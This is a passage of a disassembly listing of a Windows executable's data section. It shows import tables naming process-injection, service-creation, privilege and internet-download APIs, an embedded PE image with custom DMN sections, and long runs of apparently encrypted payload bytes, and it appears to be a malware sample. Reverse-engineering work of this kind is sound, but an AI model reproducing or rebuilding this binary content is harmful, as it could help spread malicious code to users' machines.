					; sub_44BB91+B0r
dword_411E00	dd 7C809A51h		; DATA XREF: sub_409970+24r
					; sub_409970+8Ar ...
dword_411E04	dd 7C80B9D1h		; DATA XREF: sub_409970+3Fr
					; sub_44BC91+3Fr
dword_411E08	dd 7C810D87h		; DATA XREF: sub_40A730+F5r
					; sub_40A730+15Br ...
dword_411E0C	dd 7C81DC03h		; DATA XREF: sub_40AAD0+4Cr
					; sub_40AAD0+5Br ...
dword_411E10	dd 7C81B58Bh		; DATA XREF: sub_40AE10+A9r
					; sub_44D131+A9r
dword_411E14	dd 7C810B8Eh		; DATA XREF: sub_40BEB0+34r
					; sub_44E1D1+34r
dword_411E18	dd 7C80180Eh		; DATA XREF: sub_40C950+C4r
					; sub_40C950+249r ...
dword_411E1C	dd 7C832044h		; DATA XREF: sub_40CD10+10Cr
					; sub_44F031+10Cr
		dd 0
dword_411E24	dd 77DDEAF4h		; DATA XREF: sub_402208+21r
					; sub_404967+3Dr ...
dword_411E28	dd 77DDEBE7h		; DATA XREF: sub_402208+43r
					; sub_404967+210r ...
dword_411E2C	dd 77DD6BF0h		; DATA XREF: sub_402208+4Cr
					; sub_40225E+2Er ...
dword_411E30	dd 77DD761Bh		; DATA XREF: sub_40225E+15r
					; sub_405170+5Cr ...
dword_411E34	dd 77DFC123h		; DATA XREF: sub_40225E+25r
					; sub_44457F+25r
dword_411E38	dd 77DD778Eh		; DATA XREF: sub_40238A+1Fr
					; sub_40592F+1Br ...
dword_411E3C	dd 77DD77B3h		; DATA XREF: sub_40238A+2Cr
					; sub_40592F+2Ar ...
dword_411E40	dd 77DFD4C9h		; DATA XREF: sub_4040C3+15r
					; sub_4463E4+15r
dword_411E44	dd 77DD7883h		; DATA XREF: sub_404967+5Dr
					; sub_405170+92r ...
dword_411E48	dd 77DEADA7h		; DATA XREF: sub_404D77+Br
					; sub_404DC1+12r ...
dword_411E4C	dd 77DEB88Ch		; DATA XREF: sub_404D77+1Fr
					; sub_404DC1+29r ...
dword_411E50	dd 77DE5E4Dh		; DATA XREF: sub_404D77+2Cr
					; sub_404D77+37r ...
dword_411E54	dd 77DE5EB8h		; DATA XREF: sub_404DC1+47r
					; sub_404F15+80r ...
dword_411E58	dd 77E36CC9h		; DATA XREF: sub_404E32+22r
					; sub_447153+22r
dword_411E5C	dd 77E36F61h		; DATA XREF: sub_404E32+6Dr
					; sub_404FE9+C3r ...
dword_411E60	dd 77DF3238h		; DATA XREF: sub_404F15+9Cr
					; sub_447236+9Cr
dword_411E64	dd 77E37071h		; DATA XREF: sub_404FE9+4Dr
					; sub_44730A+4Dr
dword_411E68	dd 77E37311h		; DATA XREF: sub_40512B+2Br
					; sub_44744C+2Br
dword_411E6C	dd 77DEB193h		; DATA XREF: DMN0:00405A59r
					; DMN0:00405A6Cr ...
dword_411E70	dd 77DF0953h		; DATA XREF: DMN0:00405AB0r
					; DMN1:00447DD1r
dword_411E74	dd 77E37D39h		; DATA XREF: sub_405B88+35r
					; sub_447EA9+35r
dword_411E78	dd 77DFD11Bh		; DATA XREF: sub_406101+11r
					; sub_448422+11r
dword_411E7C	dd 77DD7753h		; DATA XREF: sub_406101+28r
					; sub_448422+28r
dword_411E80	dd 77DFC534h		; DATA XREF: sub_406101+5Fr
					; sub_448422+5Fr
		align 8
dword_411E88	dd 71AB664Dh		; DATA XREF: sub_406D6Er sub_44908Fr
dword_411E8C	dd 71AB4428h		; DATA XREF: sub_406D74r sub_449095r
dword_411E90	dd 71AB3B91h		; DATA XREF: sub_406D7Ar sub_44909Br
dword_411E94	dd 71AD2E30h		; DATA XREF: sub_406D80r sub_4490A1r
dword_411E98	dd 71AB9639h		; DATA XREF: sub_406D86r sub_4490A7r
dword_411E9C	dd 71AB2DC0h		; DATA XREF: sub_406D8Cr sub_4490ADr
dword_411EA0	dd 71AB4519h		; DATA XREF: sub_406D92r sub_4490B3r
dword_411EA4	dd 71AB2B66h		; DATA XREF: sub_406D98r sub_4490B9r
dword_411EA8	dd 71AB406Ah		; DATA XREF: sub_406D9Er sub_4490BFr
dword_411EAC	dd 71AB3E00h		; DATA XREF: sub_406DA4r sub_4490C5r
dword_411EB0	dd 71AB88D3h		; DATA XREF: sub_406DAAr sub_4490CBr
dword_411EB4	dd 71AC1028h		; DATA XREF: sub_406DB0r sub_4490D1r
dword_411EB8	dd 71AB2B66h		; DATA XREF: sub_406DB6r sub_4490D7r
dword_411EBC	dd 71AD2E70h		; DATA XREF: sub_406DBCr sub_4490DDr
dword_411EC0	dd 71AB428Ah		; DATA XREF: sub_406DC2r sub_4490E3r
dword_411EC4	dd 71AB2BF4h		; DATA XREF: sub_406DC8r sub_4490E9r
dword_411EC8	dd 71AB4FD4h		; DATA XREF: sub_406DCEr sub_4490EFr
dword_411ECC	dd 71AB951Eh		; DATA XREF: sub_406DD4r sub_4490F5r
dword_411ED0	dd 71AB50C8h		; DATA XREF: sub_406DDAr sub_4490FBr
dword_411ED4	dd 71AB3F41h		; DATA XREF: sub_406DE0r sub_449101r
dword_411ED8	dd 71AB2C69h		; DATA XREF: sub_406DE6r sub_449107r
dword_411EDC	dd 71AD3005h		; DATA XREF: sub_406DECr sub_44910Dr
dword_411EE0	dd 71AB94DCh		; DATA XREF: sub_406DF2r sub_449113r
		align 8
dword_411EE8	dd 76D6AAC7h		; DATA XREF: sub_406DF8r sub_449119r
		align 10h
dword_411EF0	dd 42C2C8A1h		; DATA XREF: sub_403838+19r
					; sub_445B59+19r
dword_411EF4	dd 42C30BFAh		; DATA XREF: sub_403838+48r
					; sub_445B59+48r
dword_411EF8	dd 42C1DAC1h		; DATA XREF: sub_403838+62r
					; sub_403838+94r ...
dword_411EFC	dd 42C2ABF4h		; DATA XREF: sub_403838+F1r
					; sub_445B59+F1r
		dd 0
		dd 65470000h, 63695474h, 756F436Bh, 746Eh, 6E490000h, 61697469h
		dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 6E6F69h
		dd 6E450000h, 43726574h, 69746972h, 536C6163h, 69746365h
		dd 6E6Fh, 654C0000h, 43657661h,	69746972h, 536C6163h, 69746365h
		dd 6E6Fh, 65470000h, 64745374h,	646E6148h, 656Ch, 65470000h
		dd 636F4C74h, 69546C61h, 656Dh,	65470000h, 646F4D74h, 46656C75h
		dd 4E656C69h, 41656D61h, 0
aLocalalloc	db 'LocalAlloc',0
		align 4
		dd 72430000h, 65746165h, 656C6946h, 7070614Dh, 41676E69h
		dd 0
aGetlasterror_0	db 'GetLastError',0
		align 4
aMapviewoffile	db 'MapViewOfFile',0
		align 4
aUnmapviewoffil	db 'UnmapViewOfFile',0
		dd 704F0000h, 69466E65h, 614D656Ch, 6E697070h, 4167h, 6C430000h
		dd 4865736Fh, 6C646E61h, 65h, 706D6F43h, 53657261h, 6E697274h
		dd 4167h, 6C530000h, 706565h, 6E490000h, 6C726574h, 656B636Fh
		dd 63784564h, 676E6168h, 65h, 61657243h, 754D6574h, 41786574h
		dd 0
aOpenmutexa	db 'OpenMutexA',0
		align 4
		dd 72430000h, 65746165h, 636F7250h, 41737365h, 0
aSetlasterror	db 'SetLastError',0
		align 10h
aDeletefilea	db 'DeleteFileA',0
		dd 65470000h, 6D655474h, 74615070h, 4168h, 65470000h, 6D655474h
		dd 6C694670h, 6D614E65h, 4165h,	6F430000h, 69467970h, 41656Ch
		dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h
		dd 0
aInterlockedexc	db 'InterlockedExchangeAdd',0
		align 4
		dd 78450000h, 72507469h, 7365636Fh, 73h, 74696157h, 53726F46h
		dd 6C676E69h, 6A624F65h, 746365h, 736C0000h, 6D637274h
		dd 416970h, 736C0000h, 70637274h, 416E79h, 72430000h, 65746165h
		dd 6E657645h, 4174h, 65530000h,	65764574h, 746Eh, 61570000h
		dd 6F467469h, 6C754D72h, 6C706974h, 6A624F65h, 73746365h
		dd 0
aGetfileattribu	db 'GetFileAttributesA',0
		align 4
		dd 65520000h, 45746573h, 746E6576h, 0
aFindresourcea	db 'FindResourceA',0
		align 4
aSizeofresource	db 'SizeofResource',0
		align 4
		dd 6F4C0000h, 65526461h, 72756F73h, 6563h, 6F4C0000h, 65526B63h
		dd 72756F73h, 6563h, 65470000h,	72754374h, 746E6572h, 636F7250h
		dd 737365h, 69560000h, 61757472h, 6C6C416Ch, 7845636Fh
		dd 0
aGetmodulehandl	db 'GetModuleHandleA',0
		align 10h
aGetprocaddress	db 'GetProcAddress',0
		align 10h
		dd 72570000h, 50657469h, 65636F72h, 654D7373h, 79726F6Dh
		dd 0
aCreateremoteth	db 'CreateRemoteThread',0
		align 4
		dd 704F0000h, 72506E65h, 7365636Fh, 73h, 45746547h, 43746978h
		dd 5465646Fh, 61657268h, 64h, 61657243h, 6F546574h, 65686C6Fh
		dd 3233706Ch, 70616E53h, 746F6873h, 0
aProcess32first	db 'Process32First',0
		align 4
		dd 72500000h, 7365636Fh, 4E323373h, 747865h, 65470000h
		dd 6D6F4374h, 646E616Dh, 656E694Ch, 454B0041h, 4C454E52h
		dd 642E3233h, 6C6Ch, 65520000h,	65724367h, 4B657461h, 78457965h
		dd 41h,	53676552h, 61567465h, 4565756Ch, 4178h,	65520000h
		dd 6F6C4367h, 654B6573h, 79h, 4F676552h, 4B6E6570h, 78457965h
		dd 41h,	44676552h, 74656C65h, 79654B65h, 41h, 74696E49h
		dd 696C6169h, 6553657Ah, 69727563h, 65447974h, 69726373h
		dd 726F7470h, 0
aSetsecuritydes	db 'SetSecurityDescriptorDacl',0
		align 4
aGetusernamea	db 'GetUserNameA',0
		align 4
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0
		align 10h
		dd 704F0000h, 65536E65h, 63697672h, 4165h, 6C430000h, 5365736Fh
		dd 69767265h, 61486563h, 656C646Eh, 0
aQueryservicest	db 'QueryServiceStatus',0
		align 4
		dd 68430000h, 65676E61h, 76726553h, 43656369h, 69666E6Fh
		dd 4167h, 68430000h, 65676E61h,	76726553h, 43656369h, 69666E6Fh
		dd 413267h, 74530000h, 53747261h, 69767265h, 416563h, 72430000h
		dd 65746165h, 76726553h, 41656369h, 0
aDeleteservice	db 'DeleteService',0
		align 10h
aSetservicest_2	db 'SetServiceStatus',0
		align 4
aRegisterserv_0	db 'RegisterServiceCtrlHandlerA',0
		dd 74530000h, 53747261h, 69767265h, 74436563h, 69446C72h
		dd 74617073h, 72656863h, 41h, 6B6F6F4Ch, 72507075h, 6C697669h
		dd 56656765h, 65756C61h, 41h, 6E65704Fh, 636F7250h, 54737365h
		dd 6E656B6Fh, 0
aAdjusttokenpri	db 'AdjustTokenPrivileges',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 10h
aS_1:
		unicode	0, <s>,0
aT:
		unicode	0, <t>,0
		dd 17h,	15h, 3,	12h, 0Ch, 9, 4,	2, 0Dh,	1, 0Fh,	10h, 13h
		dd 0Ah,	34h, 6,	39h, 0Bh, 14h, 11h, 6Fh, 434F5357h, 2E32334Bh
		dd 6C6C64h, 65470000h, 46704974h, 6177726Fh, 61546472h
		dd 656C62h, 6C687069h, 69706170h, 6C6C642Eh, 0
aInternetopena	db 'InternetOpenA',0
		align 4
aInternetopen_0	db 'InternetOpenUrlA',0
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0
		dd 6E490000h, 6E726574h, 65527465h, 69466461h, 656Ch, 494E4957h
		dd 2E54454Eh, 6C6C64h, 72570000h, 43657469h, 6F736E6Fh
		dd 41656Ch, 6C540000h, 74655373h, 756C6156h, 65h, 61657243h
		dd 68546574h, 64616572h, 0
aResumethread	db 'ResumeThread',0
		align 4
aExitthread_0	db 'ExitThread',0
		align 10h
		dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 556C7452h
		dd 6E69776Eh, 64h, 70616548h, 61657243h, 6574h,	65480000h
		dd 65447061h, 6F727473h, 79h, 70616548h, 6F6C6C41h, 63h
		dd 70616548h, 6C416552h, 636F6Ch, 65480000h, 72467061h
		dd 6565h, 65480000h, 69537061h,	657Ah, 65480000h, 61567061h
		dd 6164696Ch, 6574h, 65440000h,	6574656Ch, 74697243h, 6C616369h
		dd 74636553h, 6E6F69h, 72430000h, 65746165h, 656C6946h
		dd 41h,	41736C54h, 636F6C6Ch, 0
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 4
		dd 6C540000h, 65724673h, 65h, 47736C54h, 61567465h, 65756Ch
		dd 6E550000h, 646E6168h, 4564656Ch, 70656378h, 6E6F6974h
		dd 746C6946h, 7265h, 65470000h,	73795374h, 546D6574h, 41656D69h
		dd 6C694673h, 6D695465h, 65h, 46746547h, 54656C69h, 657079h
		dd 75440000h, 63696C70h, 48657461h, 6C646E61h, 65h, 48746553h
		dd 6C646E61h, 756F4365h, 746Eh,	65470000h, 766E4574h, 6E6F7269h
		dd 746E656Dh, 69727453h, 73676Eh, 72460000h, 6E456565h
		dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 41h, 74726956h
		dd 416C6175h, 636F6C6Ch, 0
aVirtualquery	db 'VirtualQuery',0
		align 4
aWritefile	db 'WriteFile',0
		align 4
aSetstdhandle	db 'SetStdHandle',0
		align 4
aSetconsolectrl	db 'SetConsoleCtrlHandler',0
		align 4
aSetfilepointer	db 'SetFilePointer',0
		align 4
		dd 65520000h, 69466461h, 656Ch,	65530000h, 646E4574h, 6946664Fh
		dd 656Ch
dword_4127E8	dd 0B60000h		; DATA XREF: sub_407C90+44r
					; sub_407C90+51r ...
dword_4127EC	dd 0			; DATA XREF: sub_407C90:loc_407CCFr
					; sub_407C90+57r ...
dword_4127F0	dd 390000h		; DATA XREF: sub_408670+Fw
					; DMN0:00408690r ...
dword_4127F4	dd 146AF8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: DMN0:off_41121Co
dword_41280C	dd 146AD0h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: DMN0:off_411218o
dword_412824	dd 146AA8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: DMN0:off_411214o
dword_41283C	dd 146A80h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: DMN0:off_411210o
dword_412854	dd 0AAE23900h		; DATA XREF: sub_409300o
					; DMN0:00409327r ...
dword_412858	dd 1C87031h		; DATA XREF: DMN0:0040932Dr
					; DMN1:0044B64Er
dword_41285C	dd 146B20h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_40103Co
					; sub_401048+4o ...
dword_412874	dd 146B70h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_401097o
					; DMN0:004010D2o ...
dword_41288C	dd 146B48h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_401165o
					; DMN0:004011DEo ...
dword_4128A4	dd 392F98h		; DATA XREF: sub_40122A+18r
					; sub_40122A+41w ...
dword_4128A8	dd 0			; DATA XREF: sub_4067B0+63r
					; sub_4067B0+268r ...
dword_4128AC	dd 0			; DATA XREF: sub_4067B0+DAr
					; sub_4067B0+F5r ...
dword_4128B0	dd 0			; DATA XREF: sub_4067B0+D4r
					; sub_4067B0+10Dr ...
		dd 1Dh dup(0)
dword_412928	dd 3 dup(0)		; DATA XREF: sub_4023DC+15o
					; sub_4446FD+15o
dword_412934	dd 0B50078h		; DATA XREF: sub_403B86+1Cr
					; sub_403B86+3Dr ...
dword_412938	dd 0			; DATA XREF: DMN0:00405A4Eo
					; DMN0:loc_405A61o ...
dword_41293C	dd 0			; DATA XREF: DMN0:loc_405A44w
					; DMN0:loc_405A74w ...
dword_412940	dd 0			; DATA XREF: DMN0:00405AFAw
					; DMN1:00447E1Bw
		align 10h
dword_412950	dd 0			; DATA XREF: DMN0:00405B01w
					; DMN1:00447E22w
dword_412954	dd 0			; DATA XREF: DMN0:00405A53r
					; DMN0:00405A66r ...
off_412958	dd offset aWnss		; DATA XREF: DMN0:00405AAAr
					; sub_405B88:loc_405B96r ...
					; "wnss"
dword_41295C	dd 0			; DATA XREF: sub_405B88+13w
					; sub_405B88+30o ...
dword_412960	dd 0			; DATA XREF: sub_405B88+18w
					; sub_447EA9+18w
dword_412964	dd 0			; DATA XREF: sub_405B88+22w
					; sub_447EA9+22w
dword_412968	dd 0			; DATA XREF: sub_405B88+29w
					; sub_447EA9+29w
dword_41296C	dd 0			; DATA XREF: sub_405D3F+Br
					; sub_405D3F+5Fr ...
dword_412970	dd 400h	dup(0)		; DATA XREF: sub_405FBD+1Bo
					; sub_405FBD+31o ...
dword_413970	dd 146B98h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_4067B0+2Fo
					; sub_448AD1+2Fo
dword_413988	dd 391E90h		; DATA XREF: sub_408E40+6Fr
					; sub_408EE0+1Br ...
		dd 3Fh dup(0)
dword_413A88	dd 20h			; DATA XREF: sub_408EE0+6r
					; sub_409360+28w ...
		dd 15Eh	dup(0)
		dd 478F8C4Bh, 0
		dd 10000h, 0Ah,	80000018h, 0
		dd 478F8C4Bh, 0
		dd 10000h, 1F41h, 80000030h, 0
		dd 478F8C4Bh, 0
		dd 10000h, 419h, 48h, 14058h, 15678h, 2	dup(0)
		dd 505A4Dh, 2, 0F0004h,	0FFFFh,	0B8h, 0
		dd 1A0040h, 8 dup(0)
		dd 100h, 0E0010BAh, 0CD09B41Fh,	4C01B821h, 909021CDh, 73696854h
		dd 6F727020h, 6D617267h, 73756D20h, 65622074h, 6E757220h
		dd 646E7520h, 57207265h, 32336E69h, 37240A0Dh, 22h dup(0)
		dd 4550h, 3014Ch, 3 dup(0)
		dd 0A18E00E0h, 10Bh, 3 dup(0)
		dd 460FBh, 1000h, 0
		dd 10000000h, 1000h, 200h, 2 dup(0)
		dd 4, 0
		dd 48000h, 400h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 47038h, 28h,	6 dup(0)
		dd 47060h, 10h,	14h dup(0)
aDmn0		db 'DMN0',0
		align 4
		dd 30000h, 1000h, 5 dup(0)
		dd 0C0000060h, 314E4D44h, 0
		dd 15124h, 31000h, 15200h, 400h, 3 dup(0)
		dd 0E0000060h, 324E4D44h, 0
		dd 78h,	47000h,	78h, 15600h, 3 dup(0)
		dd 0C0000060h, 64h dup(0)
; ---------------------------------------------------------------------------
		jge	short locret_414490
		retf	0A2D1h
; ---------------------------------------------------------------------------
		db 0F1h, 31h, 96h
		dd 0A191B6BFh, 3B24E150h, 0C1779296h, 5D433147h, 8CD1085Eh
		dd 6148FD69h, 0C1221B54h, 0B92B779h, 0E128BEAh,	81D903C7h
		dd 90152854h, 0D665FD5Bh
; ---------------------------------------------------------------------------

locret_414490:				; CODE XREF: DMN0:00414458j
		iret
; ---------------------------------------------------------------------------
		db 3Fh,	0FEh, 0E6h
		dd 2BB91F7Ah, 0C0ABFCCCh, 0B5486DBCh, 83E39A30h, 6A5EC065h
		dd 0B3D7BFCBh, 315517BFh, 0F6FE6039h, 0E6403EBDh, 0B4D15F64h
		dd 9F410B7Ch, 3C4BE2BEh, 4E0E8B0h, 0BA46424Eh, 4CBAD68Ch
		dd 88602410h, 0FDA24253h, 0AF9CD3B1h, 0D6EEA0AEh, 86369C7Eh
		dd 18FAC514h, 3E69763Ah, 20670F85h, 7EA360B5h, 756F391Fh
		dd 7C7BAEFDh, 0BD9BC86Bh, 1DE72D96h, 0F2F11F3Ah, 62C0F8Eh
		dd 0BC81AC02h, 0D99E4D9Ch, 0F4A43C66h, 3D39132Eh, 3D99D051h
		dd 0FEFB54A6h, 87CCB2C4h, 6EDAC2F3h, 0AE2C633Fh, 2F730C24h
		dd 95C9CB21h, 0CC2E20BFh, 4C846EFAh, 0F7097861h, 0B914A0B8h
		dd 6B8F8991h, 0C2D6FBC4h, 0BCF1AF94h, 76673FAAh, 9913AA4h
		dd 49727DD6h, 287431A2h, 4B9E2F1Bh, 39165186h, 0F894AAB8h
		dd 0E522D3D0h, 0EA9678F2h, 282DB327h, 7D4714D0h, 0B136F2Bh
		dd 754A540Dh, 99B71FE4h, 0A4A045C1h, 0EEA4024Fh, 0CF7E8906h
		dd 9DA0FCC5h, 0B36EBA7Ah, 12B7813Ah, 9841206Fh,	7EC301A4h
		dd 0A27F0466h, 0E090E315h, 0DA9361EDh, 67AA42F5h, 8C974EF6h
		dd 429F4552h, 0A696F9Bh, 0B24719Ah, 30C2FE8Dh, 0AAEC6EA3h
		dd 92AAC91Bh, 0B9F2FDD4h, 0D538FE29h, 2AE53DC4h, 6A48946Ch
		dd 0D3DAEAE0h, 988F3484h, 8D8FD940h, 27587C47h,	9F96D78Bh
		dd 65FD94FDh, 811D7D97h, 90EEDD8Ah, 1080011Bh, 4CBB270Ah
		dd 0A3F4FFECh, 360D41CFh, 0B37A49C0h, 0CE077ADCh, 437D1F16h
		dd 90426CC7h, 0DCE2DA66h, 9A7F731Ch, 0E265771Bh, 0F356398Ah
		dd 3C8CEF5Bh, 5BFEB89Ch, 18564F00h, 1E50D72Ah, 0DCD95F0Ah
		dd 9720222Bh, 0DC1158F4h, 608135Eh, 48CF4BACh, 0A8CAE728h
		dd 0A645C283h, 7C82364Eh, 5643794Fh, 27F8E1E1h,	5730B5AAh
		dd 0DC9EF04Ch, 0D9D6A68Eh, 693C12Fh, 504AB325h,	0E8339E76h
		dd 227AB30Eh, 0F3368A4Ch, 79C4EEF7h, 8F6AF40Bh,	0D3346FAAh
		dd 0D1156DADh, 0A0D7D710h, 14F9254Dh, 9E95C7FCh, 14FBCF44h
		dd 8CCF6FDh, 93E1E07h, 489478AAh, 8707A90Bh, 291B5B12h
		dd 0C9507335h, 0D918C3B0h, 10192644h, 12CE3C7Ah, 8F69159Dh
		dd 0FB3B932h, 911034F6h, 13FF59A7h, 0F8A7B8CAh,	0A7F462F6h
		dd 0C8284E3Bh, 3A6081E1h, 62E1C3F0h, 6CE87EE4h,	5684F24Ch
		dd 0F4D83CCDh, 23B03EDDh, 824BA5EBh, 6B3E6359h,	9D42FE48h
		dd 0F9874D1Dh, 651E82EFh, 0F1E93840h, 23BFAA45h, 6CDB05EEh
		dd 0F6A92621h, 85DB60BFh, 0B2B2DC4h, 90A73AC4h,	152532F7h
		dd 6D6CEC13h, 0D77C2008h, 0E96747D9h, 6C3D2944h, 58A5B96Dh
		dd 9464016Ch, 583C89E1h, 93F5E99Fh, 2AF39D13h, 0EDB88D9Eh
		dd 0FCB17C26h, 31575D88h, 524BB472h, 2CC14B73h,	0D46C0BCDh
		dd 88A70448h, 89C2D20Fh, 0DBD6E1A8h, 0FA425A93h, 60075C70h
		dd 3F54D7C6h, 154FD630h, 0CA52B5CDh, 5645E00Dh,	3A20BF21h
		dd 0F037AD6Ah, 0B77F9566h, 87BB024Ch, 3BD32FA2h, 0B52C5A91h
		dd 9872DC47h, 5F6AA30Ah, 0D930BA6h, 0A2304F5Ch,	1AD99642h
		dd 0F268C4C4h, 9D8372EEh, 8BF4F462h, 0A9F54B9Dh, 9C1BF631h
		dd 7548223Ah, 0D2ECCA1Fh, 810ED6F8h, 1DAE0762h,	146E312Bh
		dd 6FA5DFC8h, 90AD453Ah, 0C28DD97Eh, 9D61AC32h,	0D562803h
		dd 997BE4EEh, 1173CA3Eh, 0BF98828Dh, 66EFE006h,	74A3B0EAh
		dd 8B61D9C3h, 3691CB69h, 4802FE4h, 0A8C86779h, 8CFD6F8Dh
		dd 0A2EE382Dh, 11DAD17Eh, 822C68Ch, 8113056Ch, 4377A33Eh
		dd 4465B779h, 6F8621BFh, 25ECF28Bh, 0A6C4BEFEh,	43D76F11h
		dd 0E4BE9FE7h, 430ED2CDh, 9418EC6Eh, 890CF68Fh,	5ED8126Ah
		dd 0EC3687A2h, 0E583F0F6h, 2C8541F8h, 1D009810h, 8F5AFDE5h
		dd 4E8BE060h, 2916F47Bh, 0FFA8EC75h, 0C969F439h, 0C763BA15h
		dd 813F89EAh, 2613D59h,	7211F90Ch, 59804E62h, 0ABED4A6Bh
		dd 0E4366078h, 290B091Fh, 37E08162h, 4C49BA46h,	0E7ABF853h
		dd 313ADBE2h, 0F07AD51Eh, 4F6979F0h, 2E4EDABAh,	0D6C6D0C9h
		dd 103E9908h, 5E71698Ch, 0E9ED3D3Fh, 2A4CFA8h, 57C02D9Bh
		dd 0D34575D7h, 973EDAC1h, 0CF63FA8Eh, 0F80660DCh, 97275C50h
		dd 3DDB081Ah, 256C6AD2h, 35FD3DEBh, 0B4810ED0h,	4D962918h
		dd 938DDFC9h, 0C0ACA7E5h, 223C26D8h, 9860110Dh,	0B1FE39FEh
		dd 794C0294h, 620D3874h, 6B269D7Ah, 453900B3h, 69478553h
		dd 0A643B8A7h, 65A2C240h, 80F21B4Ch, 4612E3BCh,	30D65C89h
		dd 0BF345E16h, 88F1E458h, 0C2771228h, 65A4EBEFh, 0A282D7E7h
		dd 0E77FC238h, 1E059315h, 0E437AD2h, 4BC6F187h,	8515A4F2h
		dd 8330AA06h, 5AD328F4h, 2192C5BAh, 0BF0B3CBh, 2AC7DED9h
		dd 43BDE8FBh, 0D72C0952h, 0A0DA41F6h, 0E4B6E8A0h, 8D30BE62h
		dd 25FBA884h, 0C14360D0h, 374E2EE4h, 0CD6E48C1h, 0B9954170h
		dd 0B148BAEEh, 8CA9F5BCh, 3D14CAB1h, 42B9C2D6h,	0BBFF363h
		dd 27A7E0C7h, 7B044AB5h, 5D872643h, 1DFF1818h, 0E3064F39h
		dd 0D836B796h, 3F57F606h, 0E13C2217h, 2E08771Fh, 9F883F68h
		dd 33CA8572h, 0F5ACFFE4h, 1670245Dh, 3F5FD1BEh,	89583358h
		dd 0F99EA2CDh, 0FFF17B6Fh, 26A20E55h, 7582FFCFh, 220A535Ch
		dd 349F5757h, 1DFBAFB5h, 881B023Eh, 76C57854h, 0A27117F4h
		dd 0ED4FBA30h, 0DF7D09DDh, 0C3D901CCh, 7B40ACEAh, 0E3CAD7F0h
		dd 0AAC42D77h, 0B2874B17h, 273D08BAh, 76B8C045h, 12C8645Fh
		dd 80481C99h, 8352222h,	9E44DB63h, 22F41FBAh, 4B3C8503h
		dd 18BA80C7h, 5F288E3Ah, 0D5EB9641h, 3DDCD68Ah,	944C2761h
		dd 201C77F8h, 58ECF6ADh, 9B67F143h, 0DAD9E98Ch,	8C71EBE2h
		dd 3045D04Eh, 0F8D525E9h, 0E6065359h, 0B9AF93DBh, 0A8EA5508h
		dd 0FAEA3086h, 1CDB4810h, 6FF292E8h, 40DD3812h,	0A8746856h
		dd 0DDF579C2h, 6515D774h, 0A76C1EFFh, 42F8817Bh, 76D3935Eh
		dd 33FC6D96h, 0EAC7BF28h, 0B7166A44h, 32C0DA72h, 9367CB74h
		dd 95351BABh, 0BCF90AAEh, 93B6807Eh, 0DDD08FB6h, 5ADA9959h
		dd 0B60ED67Ah, 640C2388h, 0C79C407Fh, 49EF062Eh, 1D67922Bh
		dd 0D6D9AF9Fh, 0B4706730h, 2054C84Ah, 58D735F1h, 0AFFA734Bh
		dd 39BEE9E4h, 8D37DCFDh, 37C530B0h, 75FD1D2Dh, 1C06B143h
		dd 20A75B49h, 0C5E73FDBh, 95BA676Ch, 5EB0C5D4h,	97822C9Dh
		dd 21D97112h, 59F2DC01h, 899B31F9h, 0C6D1A224h,	870E4A42h
		dd 0AD01A7Eh, 67074BD3h, 227A1C5Bh, 0BD38857Dh,	92B283BCh
		dd 23D88F32h, 4DCB9451h, 0AE1CD26Bh, 74CC2FDEh,	1F1C596Bh
		dd 0DAEF29A4h, 9F67B340h, 0D2DA6D8Eh, 0BC70E3E6h, 5047C046h
		dd 0B8D905F9h, 6BFE9338h, 0B9B6A9BBh, 8EC05D3Eh, 37E43032h
		dd 723F1E29h, 1C8AB66Bh, 4B9F575Dh, 29F72707h, 915A772Dh
		dd 56F0F454h, 0A403ED8Dh, 40D9E312h, 9FF1D811h,	158539F8h
		dd 10D5522Bh, 0E37E4F35h, 4A05A7Ch, 5F26CB98h, 0A3BB1C43h
		dd 0BDBA85DAh, 8D8E83E6h, 21C08F4Eh, 49DB95E9h,	867CD35Bh
		dd 6AEC2DFEh, 0F2FD38C9h, 0BFEF214Fh, 11675C5Ch, 2EDA3359h
		dd 0A47F5FFBh, 404638FEh, 98D815FDh, 2BFCB330h,	798A69ABh
		dd 0A098DD1Fh, 56875110h, 7E591FA5h, 1CCEB76Bh,	2617555Dh
		dd 0C4C7238Dh, 9F7A4034h, 2A3104D4h, 0BC838E8Dh, 13D9A512h
		dd 93305411h, 3EE8448Ah, 4ED74248h, 677A0A4Ah, 0C2BF9B6Bh
		dd 9F364B22h, 23D81CBEh, 0BDF4856Fh, 8C0A83E0h,	60C88F4Ah
		dd 476995E1h, 9A5CD34Bh, 5F4C2D9Eh, 961C5CFBh, 3CEF20AEh
		dd 53675D41h, 0AADA3189h, 0AC7F5BE4h, 70463042h, 0F8D865F1h
		dd 0EBFCD328h, 0B98A285Ah
		dd 8ED95D40h, 37F233B6h, 725B1F21h, 1CD2B47Bh, 260F53BDh
		dd 0C4D72FBBh, 9F1A58ACh, 2A712B54h, 0BD03AF8Dh, 52DA6712h
		dd 0A3F0D011h, 4D8729F8h, 0AED9722Bh, 777EEA40h, 0E2B7DA7Bh
		dd 0DEC1CB2Eh, 0A3F91C50h, 4236856Eh, 8C8683E7h, 27F08F48h
		dd 453B95E5h, 9EBCD343h, 570C2D8Eh, 0A59C5CDBh,	5DEF20EEh
		dd 95675EC1h, 26DA3088h, 547F59EBh, 60463441h, 0D8D87DF3h
		dd 0ABFCE32Ch, 398BC852h, 8ED91D51h, 37F1B3E8h,	725A1F5Dh
		dd 1CD0B5C3h, 2603528Dh, 0C4AF2D5Bh, 9F0A5C6Ch,	2B9123D4h
